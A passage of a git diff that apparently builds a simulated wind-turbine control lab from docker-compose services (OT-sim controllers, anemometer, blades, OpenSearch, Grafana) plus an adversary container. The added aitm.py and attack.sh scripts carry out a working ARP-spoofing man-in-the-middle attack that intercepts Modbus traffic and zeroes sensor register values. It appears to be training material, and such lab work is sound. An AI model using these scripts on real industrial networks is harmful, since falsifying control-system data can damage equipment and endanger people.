./configs/docker/tigervnc-adversary.conf:/etc/supervisor/conf.d/tigervnc-adversary.conf + - ./scripts/aitm.py:/root/aitm.py + - ./scripts/attack.sh:/root/attack.sh + ports: + - 8090:8080 + networks: + vpc: + ipv4_address: 10.11.12.200 + main-controller: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - yaw-ctlr + - anemometer + - blade-1 + - blade-2 + - blade-3 + - opensearch + volumes: + - ./configs/ot-sim/main-controller.xml:/etc/ot-sim/config.xml + - ./configs/ot-sim/node-red.json:/etc/node-red.json + ports: + - 1880:1880 + networks: + vpc: + ipv4_address: 10.11.12.100 + yaw-ctlr: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - opensearch + volumes: + - ./configs/ot-sim/yaw-controller.xml:/etc/ot-sim/config.xml + networks: + vpc: + ipv4_address: 10.11.12.101 + anemometer: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - opensearch + volumes: + - ./configs/ot-sim/anemometer.xml:/etc/ot-sim/config.xml + - ./configs/ot-sim/weather.csv:/etc/ot-sim/data/weather.csv + networks: + vpc: + ipv4_address: 10.11.12.102 + blade-1: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - opensearch + volumes: + - ./configs/ot-sim/blade-1.xml:/etc/ot-sim/config.xml + networks: + vpc: + ipv4_address: 10.11.12.103 + blade-2: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - opensearch + volumes: + - ./configs/ot-sim/blade-2.xml:/etc/ot-sim/config.xml + networks: + vpc: + ipv4_address: 10.11.12.104 + blade-3: + image: ghcr.io/patsec/ot-sim/ot-sim:main + init: true + depends_on: + - opensearch + volumes: + - ./configs/ot-sim/blade-3.xml:/etc/ot-sim/config.xml + networks: + vpc: + ipv4_address: 10.11.12.105 + opensearch: + image: opensearchproject/opensearch + init: true + volumes: + - ./configs/opensearch/opensearch.yml:/usr/share/opensearch/config/opensearch.yml + networks: + vpc: + ipv4_address: 10.11.12.150 + grafana: + image: grafana/grafana-oss + init: true + depends_on: + - opensearch + ports: + - 3000:3000 + volumes: + - ./configs/grafana/plugins:/var/lib/grafana/plugins + - ./configs/grafana/grafana.ini:/etc/grafana/grafana.ini + - ./configs/grafana/opensearch-data-source.yml:/etc/grafana/provisioning/datasources/opensearch.yml + - ./configs/grafana/dashboards.yml:/etc/grafana/provisioning/dashboards/dashboards.yml + - ./configs/grafana/turbine-dashboard.json:/var/lib/grafana/dashboards/turbine-dashboard.json + networks: + vpc: + ipv4_address: 10.11.12.151 +networks: + vpc: + driver: bridge + ipam: + config: + - subnet: 10.11.12.0/24 + gateway: 10.11.12.1 diff --git a/scripts/aitm.py b/scripts/aitm.py new file mode 100644 index 0000000..ae1f966 --- /dev/null +++ b/scripts/aitm.py @@ -0,0 +1,50 @@ +import struct + +from mitmproxy import tcp + +# mitm[proxy|dump] runs this for every raw TCP packet it receives. +def tcp_message(flow: tcp.TCPFlow): + # most recent message + latest = flow.messages[-1] + + # is this a request or a response? + req = latest.from_client + # message body (use bytearray so we can modify it) + msg = bytearray(latest.content) + + # make sure there's enough data to unpack the Modbus ADU/PDU + if len(msg) > 8: + tid, pid, length, uid, fc = struct.unpack(">HHHBB", msg[:8]) + # ADU is always 7; last bit is length of rest of packet, including + # itself, so we end up subtracting one from the length to get end of + # packet. + end = 7 + length - 1 + + # start at 8 since we grabbed function code above + data = msg[8:end] + + print(f'TID: {tid}') + print(f'PID: {pid}') + print(f'LEN: {length}') + print(f'UID: {uid}') + print(f'FC: {fc}') + print(f'DAT: {data}') + + if not req: + # read input register, so we know what response should look like; + # count of values, then actual values (2 bits each). + if fc == 4: + count = int(msg[8]) + + start = 9 + end = start + count + + while start < end: + value, = struct.unpack(">H", msg[start:start+2]) + print(f'VALUE: {int(value)}') + + start += 2 # each value is 2 bits each + + # replace values with 0 + msg[9:end] = bytearray(b'\x00' * count) + flow.messages[-1].content = msg diff --git a/scripts/attack.sh b/scripts/attack.sh new file mode 100755 index 0000000..d4f6d6b --- /dev/null +++ b/scripts/attack.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +tmux new-session -d -s hack +tmux send 'iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 502 -j REDIRECT --to-port 9090' ENTER +tmux send 'mitmdump -p 9090 -m transparent -s /root/aitm.py' ENTER +tmux split-window -h +tmux send 'arpspoof -t 10.11.12.100 10.11.12.102' ENTER +tmux split-window +tmux send 'arpspoof -t 10.11.12.102 10.11.12.100' ENTER + +tmux attach